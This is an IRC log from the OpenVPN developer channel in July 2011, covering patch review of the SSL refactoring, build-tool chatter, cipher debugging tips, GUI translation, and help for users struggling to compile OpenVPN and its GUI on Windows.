14:23 <@dazo> :) 14:23 < cron2> folks, you're so impressive... (I've been watching you with half an eye, but had "customer is waiting, time is due" work to do) 14:24 <@dazo> cron2: next week is your chance ;-) 14:24 <@mattock> 89e31cfb is not on the list, adding to a random place :D 14:24 <@dazo> mattock: at the end of crypto stuff we did now 14:24 <@andj> It's a fix to an issue :) 14:24 < cron2> dazo: I smell a portability/cleanup sprint coming up, but "not next week" (mom's birthday) 14:24 <@dazo> :) 14:25 <@andj> I'm working on a hardcore windows fixing sprint at work 14:25 <@dazo> andj: I don't envy you :-P 14:25 <@mattock> mkay, done 14:25 <@dazo> thx! 14:26 * cron2 gets to replay a 15-year-old zmodem implementation at work. That's actually fun :-) 14:26 <@mattock> andj: fixing Windows? you sure set your aim high :P 14:26 <@dazo> that sounds fun, in an odd way :) 14:26 <@andj> haha 14:27 <@dazo> re: next weeks ... I'm in serious need of some holiday, so even though I will only have ~1 week real holiday ... I'd like to excuse myself for the next 2 weeks 14:27 <@andj> ok, what shall we do review/ack-wise? 14:27 <@mattock> dazo: get some rest, we need you in one piece 14:27 <@dazo> on the other hand, I'll try to get the doxygen patches applied + the patches we've ACKed today next Thursday ... I really need to get ahead of my TODO list 14:28 <@dazo> mattock: thx :) 14:28 <@dazo> I trust cron2 to be a valuable reviewer as well ... so if he finds time (but obviously not next week), I have confidence there 14:29 <@dazo> unless, jamesyonan steps in as well :) 14:29 < cron2> what did you leave to be ACKed? 14:29 <@dazo> SSL library separatoin 14:29 <@dazo> *separation 14:30 < cron2> oh 14:30 <@dazo> and Verification functions 14:30 * cron2 has no idea about crypto stuff 14:30 <@dazo> well, the separation patches are doable 14:30 < cron2> give me some good network related changes :-) 14:30 * andj has no idea about network stuff in OpenVPN 14:30 <@dazo> crypto separation is what we did today ... and that was fairly fine to review 14:30 <@andj> :p 14:31 <@andj> ssl_separation is similar 14:31 <@dazo> yeah, that's what I kind of hoped for :) 14:31 <@andj> verification is a little tougher 14:32 <@mattock> cron2, jamesyonan: up for "SSL library separation" patchset review next Thursday at 17:00 UTC? 14:32 <@andj> because some big cleanup happened there 14:32 <@dazo> ahh 14:32 <@jamesyonan> works for me 14:32 <@andj> works for me 14:32 <@dazo> then there'll be some progress next week as well :) 14:33 <@mattock> and I can be the Trac slave / secretary :P 14:33 <@andj> I'm very happy about today's session 14:33 <@mattock> me too, we made great progress 14:33 < cron2> mattock: no, mom's birthday 14:33 <@andj> other day next week? 14:33 <@dazo> andj: jamesyonan: As the verification stuff is heavier, and might require more background knowledge ... maybe you could do that 14:33 <@dazo> and then save SSL library separation for cron2 and/or me? 14:33 <@mattock> hmm, might be a good idea 14:34 <@andj> That's fine too 14:34 <@jamesyonan> yes, I can help review SSL verification stuff 14:34 <@dazo> goodie :) 14:34 <@andj> cool, thanks 14:35 <@andj> last requested patch is ready, pushing in a sec 14:35 <@mattock> nice, SSL verification shall be our target next week 14:36 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/7f009fd01788dd5787facd953fe260491ac62b44 14:36 <@dazo> andj: let me know when pushed 14:36 <@vpnHelper> Title: Commit 7f009fd01788dd5787facd953fe260491ac62b44 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:36 <@andj> last one 14:36 <@dazo> heh 14:36 * dazo fetches 14:37 <@andj> That looks a lot better :) 14:37 <@dazo> ACK on 7f009fd01788dd5787facd953fe260491ac62b44 14:37 <@dazo> mattock: ^^ last patch to today's session 14:38 <@mattock> nice 14:38 <@mattock> which patch does this fix/affect? 14:38 <@dazo> mattock: if you make a note to fix whitespace issues here ... there are 3 lines which needs to be fixed 14:38 <@mattock> I'll make a note of it 14:38 <@andj> the HMAC one 14:38 <@mattock> ok 14:38 <@mattock> oh, obviously :D 14:38 <@dazo> heh, yeah :) 14:39 <@andj> wow, really happy about that 14:39 * dazo too :) 14:39 <@andj> took some work, but it's in :) 14:39 <@dazo> yeah 14:39 <@mattock> fixes the "do not print generic stuff" issue, I presume 14:39 <@andj> yeah, exactly 14:40 <@dazo> andj: btw ... this whole session have gone through an openvpn + polarssl compile :) 14:40 < cron2> using IPv6, I hope 14:40 < cron2> (but otherwise: cool) 14:40 <@dazo> unfortunately, no IPv6 on the work VPN infrastructure :/ 14:41 <@andj> oh yeah, just a heads up: 14:41 <@dazo> but I use IPv6 tunnel when being in the office .... 14:41 <@mattock> final version (rev40) of the topic page: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-14 14:41 <@vpnHelper> Title: Topics-2011-07-14 – OpenVPN Community (at community.openvpn.net) 14:41 <@andj> I'm playing with CMake at work 14:41 <@andj> to ease our windows build a little there 14:42 <@andj> Noticing some advantages and some disadvantages 14:42 <@andj> mattock: great work 14:42 <@dazo> yeah, CMake makes some things very nice and easy .... other things very awkward 14:43 <@andj> But I just loved the way I could use cmake to generate visual studio stuff 14:43 <@andj> and nmake stuff for that matter 14:43 <@andj> when I was building PolarSSL 14:43 <@andj> so I thought I'd give it a try 14:43 <@andj> to learn as well 14:43 <@dazo> I believe there's a lot of benefits when combining cmake with Windows 14:44 <@andj> Not necessarily for packaging, as I don't think it supports signing (not sure about that) 14:44 <@andj> but for building it's great 14:44 <@dazo> one thing I'm struggling with cmake though, is parallel building (make -jX) ... that can sometimes fail badly 14:44 <@andj> hmm, interesting to have a look at 14:45 <@dazo> I'm using CMake in eurpehia .... and make -jX fails 8 of 10 times 14:45 <@dazo> (well, last time I tried was with 2.6 .... it might have improved in 2.8) 14:46 <@andj> yeah, 2.8 improved quite a few things I heard 14:46 <@andj> packaging support as well 14:46 <@dazo> there's some dependency tracking which is lacking probably 14:46 <@dazo> packaging I've not looked into yet, use it only for building 14:46 <@dazo> for now, at least 14:47 <@mattock> I assume the official part is over, so I'll write the summary now 14:47 <@andj> yup, I think so 14:47 <@dazo> mattock: thx a lot for keeping track of the review process! 14:47 <@andj> Anyway, I'm going to take a break from the computer, thanks everyone 14:48 <@dazo> andj: thank you, you too! 14:48 <@andj> spend some time with the wife and all that :) 14:48 <@mattock> good sprint/meeting guys! 14:48 * dazo looks over to her and the laptop ... and see how deep she's sunk into Facebook and youtube :-P 14:48 <@mattock> see you later 14:49 <@mattock> dazo: google plus, maybe? 14:49 <@mattock> I can invite you 14:49 <@andj> anyone need an invite? 14:49 <@andj> :) 14:58 <@mattock> summary sent, time for lunch 15:02 <+ecrist> everyone should be my friend on g+ 15:02 <+ecrist> because I'm awesome, or something like that 15:03 < psha> ecrist: "samy is my hero?" ) 15:03 <+ecrist> lol 15:10 <@andj> I update the page with links https://community.openvpn.net/openvpn/wiki/Topics-2011-07-14 15:10 <@andj> :) 15:10 <@vpnHelper> Title: Topics-2011-07-14 – OpenVPN Community (at community.openvpn.net) 15:10 <@andj> git log 46e7d0b6ae89634e70686bf48bfcdca07249f829~1.. --reverse --format="||[https://github.com/andj/openvpn-ssl-refactoring/commit/%H %s]||||||" 15:10 <@andj> I like git :) 15:26 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 15:26 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 15:28 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 252 seconds] 15:28 -!- jamesyonan_ is now known as jamesyonan 15:42 <@dazo> mattock: g+ ... no thanks :) 15:43 <@mattock> dazo: don't you like artificial scarcity? :P 15:43 <@dazo> google already knows more than it needs about me :) 15:44 <@dazo> I've got myself a HP ProLiant MicroServer ... planning on setting up my own Diaspora VM there .... then I'm going to fade down FB usage, and rather see if FB can feed Diaspora 15:45 <@dazo> And I can block google from my own box :) 15:45 <@mattock> andj: oh, that command-line is way cool! 15:45 <@mattock> dazo: diaspora is interesting, I don't like big brothers either 15:46 <@dazo> I just need to get more disks and more RAM, and the box is ready for deployment :) 15:46 <@mattock> that's why my facebook usage is very minimal (notwithstanding the fact that Facebook is annoying in general) 15:46 <@dazo> but I LOLed when I heard that Zuckerberg closed his G+ account due to security reasons 15:47 <@dazo> or not security, *privacy* concerns 15:48 <@dazo> http://tech.slashdot.org/story/11/07/13/1317252/Zuckerberg-Quits-Google-Over-Privacy-Concerns?utm_source=slashdot&utm_medium=twitter 15:48 <@vpnHelper> Title: Zuckerberg Quits Google+ Over Privacy Concerns - Slashdot (at tech.slashdot.org) 15:50 * dazo logs off for today :) 15:50 <@mattock> dazo: good night 15:50 -!- dazo is now known as dazo_afk 15:51 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:04 -!- jamesyonan [~jamesyona@208.43.3.119] has quit [Ping timeout: 255 seconds] 16:16 <@mattock> ah, latest tunnelblick code (svn) is using OpenVPN 2.2.1 16:16 <@mattock> good 16:29 <@mattock> hmm, actually I should probably generate another Windows installer with Heiko's GUI in it 17:01 <@mattock> done 18:04 <@mattock> we should probably close this bug report: https://community.openvpn.net/openvpn/ticket/126 18:04 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 18:05 <@mattock> no response from the reporter of the bug 18:48 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has joined #openvpn-devel 18:48 < moamahi> hi all, I'm trying to compile openvpn 2.2.1 on a 7 64bit system. I used https://community.openvpn.net/openvpn/wiki/BuildingOnWindows this. Now I'm stopped at this point. Lounch win/config_ti.py and I get: IOError: [Errno 13] Permission denied: 'C:\\Users\\ptavant-ovpn\\Desktop\\tools\ 18:48 < moamahi> <moamahi> \compile-root\\tapinstall\\7600\\sources' 18:48 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 18:49 < moamahi> looked at http://sourceforge.net/mailarchive/forum.php?thread_name=4DA80295.9070305%40topphemmelig.net&forum_name=openvpn-devel 18:49 <@vpnHelper> Title: SourceForge.net: OpenVPN: openvpn-devel (at sourceforge.net) 18:49 < moamahi> any idea would be apreciate 19:21 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 19:23 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 19:43 <+ecrist> moamahi: stick around, many here are around during the day, US timezones 22:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:00 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 23:00 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 23:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:58 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] --- Day changed Fri Jul 15 2011 00:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 00:33 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 01:20 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 01:22 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Remote host closed the connection] 01:26 < moamahi> ecrist, thank you 01:27 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has quit [Quit: Sto andando via] 03:06 -!- dazo_afk is now known as dazo 03:47 -!- moamahi [~moamahi@posta.amt.it] has joined #openvpn-devel 03:47 < moamahi> hi all, I'm trying to compile openvpn 2.2.1 on a 7 64bit system. I used https://community.openvpn.net/openvpn/wiki/BuildingOnWindows this. Now I'm stopped at this point. Lounch win/config_ti.py and I get: IOError: [Errno 13] Permission denied: 'C:\\Users\\ptavant-ovpn\\Desktop\\tools\\compile-root\\tapinstall\\7600\\sources' 03:47 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 03:48 < moamahi> looked at http://sourceforge.net/mailarchive/forum.php?thread_name=4DA80295.9070305%40topphemmelig.net&forum_name=openvpn-devel but without having a solution 03:48 < moamahi> any help would be apreciate 04:45 <@dazo> moamahi: I'm not much familiar with the windows building .... but if you wait for mattock to show up (I believe he is still in the US/California), he might have some clues 04:46 <@dazo> That patch you point at should be implemented already, it was committed to the git tree April 14th 04:47 < moamahi> dazo, thank you very much 04:48 <@dazo> (btw, mattock is the guy doing our windows builds with Visual Studio) 04:48 <@dazo> I believe mattock might show up here in about 4-5 hours or so 04:49 < moamahi> thank you even for the time indication ... i'm in italy and I was not sure what time :-) 04:50 <@dazo> no worries :) Just hang out here, and people will ping you when they arrive :) 04:53 < moamahi> opensource community :-) what a fantastic place ! 04:53 <@dazo> :) 08:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 08:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:29 -!- dazo is now known as dazo_afk 09:38 -!- dazo_afk is now known as dazo 09:48 -!- dazo is now known as dazo_afk 10:04 -!- moamahi [~moamahi@posta.amt.it] has quit [Quit: Sto andando via] 10:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:17 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:16 <@mattock> today's useful (?) fact: ~17000 OpenVPN Debian/Ubuntu packages have been downloaded from build.openvpn.net so far 12:17 <@mattock> so somebody is using them, which is good 12:17 <@mattock> I'll get apt repositories setup before first OpenVPN 2.3 alpha gets out 12:18 <@mattock> ~9000 of those downloads are for Ubuntu 12:19 <@mattock> actually, it's 9000 for ubuntu and 3000 for debian... my initial grep magic failed 12:40 <@mattock> this is an interesting concept: http://www.apache.org/foundation/glossary.html#LazyConsensus 12:40 <@vpnHelper> Title: Glossary of Apache-Related Terms (at www.apache.org) 12:40 <@mattock> actually, that's something I proposed at one point, and what we're effectively doing 13:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:49 <@mattock> apt repository for Ubuntu working, still needs some polish 14:05 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 15:18 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:23 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has joined #openvpn-devel 16:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has left #openvpn-devel [] 16:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 21:02 <+ecrist> hrm, do I have any sort of sanctioned/official title here? 21:03 <+ecrist> Chief Asshole comes to mind? 21:04 <+ecrist> Anyone know Michael Anissimov??? 21:11 <+ecrist> http://www.linkedin.com/profile/view?id=33911705 sorry, had to do it --- Day changed Sat Jul 16 2011 02:39 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has quit [Remote host closed the connection] 04:48 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:48 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:23 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:33 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Ping timeout: 246 seconds] 14:38 -!- patelx [~a@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel 21:47 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 264 seconds] 21:54 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 21:54 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 21:54 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 21:54 -!- Essobi [~Essobi@74.128.237.214] has quit [Ping timeout: 258 seconds] 21:54 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:54 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Sun Jul 17 2011 00:29 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 01:19 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 01:19 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 01:19 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:19 -!- mode/#openvpn-devel [+v krzie] by ChanServ 05:02 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has joined #openvpn-devel 05:27 < moamahi> hi all anybody sow mattock last days? 08:26 <+ecrist> yesterday 08:27 < moamahi> ecrist, :-( 10:04 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:01 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:58 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 16:58 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 16:58 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 16:58 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:58 -!- mode/#openvpn-devel [+v krzie] by ChanServ 17:14 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has quit [Ping timeout: 255 seconds] 17:43 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has joined #openvpn-devel --- Day changed Mon Jul 18 2011 00:59 -!- moamahi [~moamahi@host29-50-static.12-87-b.business.telecomitalia.it] has quit [Quit: Sto andando via] 03:19 -!- dazo_afk is now known as dazo 05:06 -!- dazo is now known as dazo_afk 05:59 -!- dazo_afk is now known as dazo 07:56 <@d12fk> does anyone know what cipher suites a client sends when no tls-cipher is configured? 07:57 <@d12fk> or maybe some advice on howto debug the tls handshake? 07:58 <@d12fk> --verb 11 didn't do it for me 07:58 <@dazo> d12fk: on both my openvpn connections, I see DHE-RSA-AES256-SHA for the control channel 07:58 <@dazo> I think that's the part which is related to --tls-cipher 07:58 <@d12fk> how? 07:59 <@d12fk> ... do you see it 07:59 <@d12fk> =) 07:59 <@dazo> --verb 4 ... look for " Control Channel:" 07:59 <@dazo> "Data channel" is different on my setups, as they use different ciphers there 07:59 <@d12fk> nice, thanks 07:59 <@dazo> sure, no prob! 08:01 <@d12fk> btw: openvpn[23941]: Control Channel: TLSv1, cipher TLSv1/SSLv3 GOST2001-GOST89-GOST89 08:01 <@dazo> uhh!??! 08:02 <@d12fk> am currently doing some stuff with russian crypto in ossl 1 08:02 <@dazo> aha 08:02 <@d12fk> patches follow 08:02 <@dazo> :) 08:02 <@d12fk> however with the ssl refactoring they won't apply much =) 08:02 <@dazo> if it is changing the SSL stuff ... please base them on andj git tree ... 08:02 <@dazo> yeah 08:03 <@dazo> I hope to get some time this week to apply some of his stuff to the tree 08:04 <@d12fk> I'll probably need some more weeks anyway 08:05 <@dazo> sounds good :) 08:06 <@d12fk> it's going to be weird! =) 08:06 <@d12fk> MACs with differing key and block size 08:07 <@d12fk> no diffie hellman 08:12 <@dazo> that just makes me wonder how clever encryption that is ... however, Russians aren't stupid with computers either ... 08:13 <@d12fk> sadly all the specs are in russian... =) 09:36 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:02 <@dazo> d12fk: btw .... Have you seen the question here? http://thread.gmane.org/gmane.network.openvpn.devel/4852/focus=4857 10:02 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:12 <@d12fk> dazo: oh yeah forget to reply to that one 10:30 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 10:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:49 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 10:49 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 10:49 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 13:42 -!- dazo is now known as dazo_afk 13:52 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 13:52 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:52 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:27 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Tue Jul 19 2011 00:48 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has joined #openvpn-devel 02:21 -!- dazo_afk is now known as dazo 09:31 -!- dazo is now known as dazo_afk 09:44 -!- dazo_afk is now known as dazo 12:50 -!- dazo is now known as dazo_afk 22:33 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has quit [Ping timeout: 250 seconds] 23:24 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:25 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Wed Jul 20 2011 01:53 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 240 seconds] 01:54 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:09 -!- dazo_afk is now known as dazo 07:39 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 07:39 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 07:40 -!- mode/#openvpn-devel [+o raidz] by ChanServ 07:46 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:17 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Remote host closed the connection] 08:18 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:04 <@d12fk> kisom: are you available for some swedish translation for the gui 10:05 -!- WilcoRoger [8368992a@gateway/web/freenode/ip.131.104.153.42] has joined #openvpn-devel 10:05 <@d12fk> WilcoRoger: hi 10:05 < WilcoRoger> @d12fk Sup 10:06 <@d12fk> so, how about the "General" options tab? 10:09 < WilcoRoger> Wait - are you talking about the Access Server one? 10:09 <@dazo> nope, we're only doing the community stuff here 10:10 < WilcoRoger> Okay - but what do you mean "General" options tab in the GUI 10:12 <@d12fk> WilcoRoger: when you rightclick the tray icon, select "Options", the there's a "General" tab 10:13 <@d12fk> when you use dutch language it still shows in english as it's not translated 10:13 < WilcoRoger> When I right click on the tray icon I have "Disconnect", "Show Status", "View Log", "Edit Config", "Change Password", "Proxy Settings", "About", "Exit" 10:13 <@d12fk> oh then you're running an old version=) 10:14 < WilcoRoger> apparently :) Hold on 10:14 < WilcoRoger> 1.0.3 10:14 < WilcoRoger> ugh yah that's the one from the .se website 10:14 <@d12fk> just fetch the latest snapshot from https://sourceforge.net/projects/openvpn-gui/files 10:14 <@vpnHelper> Title: OpenVPN GUI - Browse Files at SourceForge.net (at sourceforge.net) 10:14 < WilcoRoger> don't know why it's on there. 10:15 <@d12fk> you can just run it from the place you download it to 10:16 < WilcoRoger> Ok NOW we're in business 10:17 < WilcoRoger> Okay General Tab. 10:17 < WilcoRoger> "Algemeen"? 10:18 <@d12fk> just like in german =9 10:18 < WilcoRoger> They're similar languages 10:19 < WilcoRoger> Do you have a German Translation? 10:20 <@d12fk> ja, i'm german =) 10:22 < WilcoRoger> Ah, zehr gut 10:22 < WilcoRoger> Well If you fire me the "Official" german word I can probably fire back the "Official" dutch work 10:22 < WilcoRoger> *word 10:23 <@d12fk> "Benutzeroberfläche" and "Sprache" 10:24 < WilcoRoger> "Gebruikersinterface" and "Taal" 10:25 <@d12fk> thanks 10:25 < WilcoRoger> np 10:26 -!- MariaKeys [~MariaKeys@2.51.39.247] has joined #openvpn-devel 10:27 < MariaKeys> dear openVPN developers. 10:27 < MariaKeys> is there any GUI that would build with Visual Studio 2010? 10:28 < MariaKeys> I tried building 1.0.3 GUI but I get: Makefile(18) : fatal error U1001: syntax error : illegal character '{' in macro 10:28 < MariaKeys> when i run nmake 10:29 <@d12fk> the offical one is build using cygwin, a unix-ish environment for windows 10:30 <@d12fk> but there are other ones on sourceforge 10:30 <@d12fk> I think there's a list somewhere on the community site 10:30 < MariaKeys> excuse me but I am trying to build a gui for windows since 5 days. 10:31 < MariaKeys> is there a standard way of doing this? I have never gone through such a torment in my life. 10:31 < MariaKeys> previously mingw was fine. But that is no longer working properly with openssl 1.0.0 10:33 <@d12fk> yeah ossl is a bit difficult... 10:33 <@d12fk> but you could just use the precompiled binaries 10:34 < MariaKeys> yes I can but I am trying to modify GUI... make openvpn save password, etc. 10:34 <@d12fk> if you don't have to compile yourself you could just one of the GUI snapshots from https://sourceforge.net/projects/openvpn-gui/files 10:34 <@vpnHelper> Title: OpenVPN GUI - Browse Files at SourceForge.net (at sourceforge.net) 10:34 < MariaKeys> i need to compile the GUI. 10:35 < MariaKeys> the other parts are fine. But nonetheless, following instructions on the site do not exactly work. so many mistakes there. 10:35 <@d12fk> openvpn.se is for the old gui 10:35 <@d12fk> .. and there are no instructions for the new one =) 10:35 <@d12fk> so you have cygwin 10:35 < MariaKeys> I know. That was working fine for me. Unfortunately it is no longer building in cobra/visual studio environment. 10:35 <@d12fk> or msys 10:36 < MariaKeys> d12fk: So I need to have 15 different environments to build openVPN? 10:36 <@d12fk> no actually just cygwin 10:37 <@d12fk> at least that's what i use 10:37 < MariaKeys> instructions are for mingw. and on site instructions specify python/visual studio. 10:37 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:37 <@d12fk> what site are you referring to? 10:37 < MariaKeys> can you compile openvpn.se GUI on cygwin d12fk? 10:37 <@d12fk> no, the new one 10:37 < MariaKeys> d12fk: openvpn.net site 10:38 < MariaKeys> d12fk: Where is the source for hte new one? 10:38 <@d12fk> https://sourceforge.net/projects/openvpn-gui/files 10:38 <@vpnHelper> Title: OpenVPN GUI - Browse Files at SourceForge.net (at sourceforge.net) 10:39 < MariaKeys> those are binaries dude. I have seen those. Where is the source to compile? 10:39 <@d12fk> oops wrong link 10:39 <@d12fk> https://sourceforge.net/scm/?type=git&group_id=248281 10:39 <@vpnHelper> Title: SourceForge.net: OpenVPN GUI: SCM (at sourceforge.net) 10:40 < MariaKeys> I dont have git. 10:40 < MariaKeys> Is there a package? 10:40 <@d12fk> not yet, it's still in development 10:41 < MariaKeys> d12fk: I appreciate your help, BTW. I am just frustrated with this convolted openVPN mess. Somebody should tell the developers that having 200 million options is not a good thing. They should standardize on things. 10:41 <@d12fk> you can fetch a tarball via the gitweb frontend 10:42 <@d12fk> http://openvpn-gui.git.sourceforge.net/git/gitweb.cgi?p=openvpn-gui/openvpn-gui;a=snapshot;h=HEAD;sf=tgz 10:43 < MariaKeys> genuinely appreciated! 10:43 < MariaKeys> let me see if it will compile. 10:43 <@d12fk> not with msvc 10:44 < psha> heh, they've standardtized a bit - NetworkManager looks nice 10:44 < MariaKeys> jesus 10:45 < psha> but i guess it's not available for your os 10:45 < MariaKeys> i spent 2 days setting up Python/VS. 10:45 < MariaKeys> Now I have to spend another 2 for setting up cygwin? 10:45 < psha> blame your os vendor for that, not openvpn 10:46 < MariaKeys> psha: Why would I blame Microsoft? 10:46 < psha> since you need to spend so long to setup simple things like python dev environment 10:47 < MariaKeys> psha: If you look how big of a page https://community.openvpn.net/openvpn/wiki/BuildingOnWindows is 10:47 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 10:47 < MariaKeys> you can understand who to blame here. 10:47 < psha> who to blame for missing openssl dev packages? 10:47 < MariaKeys> half of instructions won't work out-of-box on that page, btw. 10:47 < psha> for missing lzo packages? 10:47 < psha> openvpn? 10:48 < psha> whom to blame for missing working packaging system? 10:48 < MariaKeys> psha: I don't have problem building openssl and lzo. I have problem with building openVPN GUI. 10:48 < psha> so if you are so skilled i don't understand why you have problems 10:49 < MariaKeys> psha: I am not skilled at all. I am trying to get ENABLE_PASSWORD_SAVE option. And for that simple config entry, I have to try to rebuild this entire convolted mess. 10:50 < psha> you thing it's crap? make it better 10:50 < psha> write better doc 10:50 < MariaKeys> psha: I am not thet one making money off of OpenVPN AS. Let their developers do it. 10:51 < psha> buy support 10:51 < psha> i'm community member and not affilated witn openvpn as 10:51 < MariaKeys> d12fk: The tarball you gave builds alright with cygwin? 10:51 < psha> when i'd needed small feature i've just added it 10:51 < WilcoRoger> so d12fk: Do you have any more German for me? :) 10:52 <@d12fk> WilcoRoger: no that's it thanks again 10:52 < WilcoRoger> no probs 10:52 < psha> whihtout whining about how bad or good openvpn as devs are 10:52 <@d12fk> MariaKeys: if git didn't mess things up producing it 10:52 < psha> d12fk: sorry for flood :) 10:53 < MariaKeys> d12fk: Tarball is fine. I will try adding cygwin. What about mingw? Would that work? 10:53 <@d12fk> well, there's a mingw gcc in cygwin you'll use 10:54 <@d12fk> mingw is the compiler, cygwin the environment 10:54 <@d12fk> you need autoconf as well 10:54 <@d12fk> and automake 10:56 < MariaKeys> d12fk: All these are coming with mingw environment. 10:57 <@d12fk> MariaKeys: and many more, it has a nice installer you'll like it 10:58 < MariaKeys> d12fk: But build pages states it has problems with openssl 1.0 10:58 <@d12fk> don't know 10:58 <@d12fk> i still use 0.9.8 but had to patch it's build system to produce dlls 11:39 < jamx> /win 2 11:43 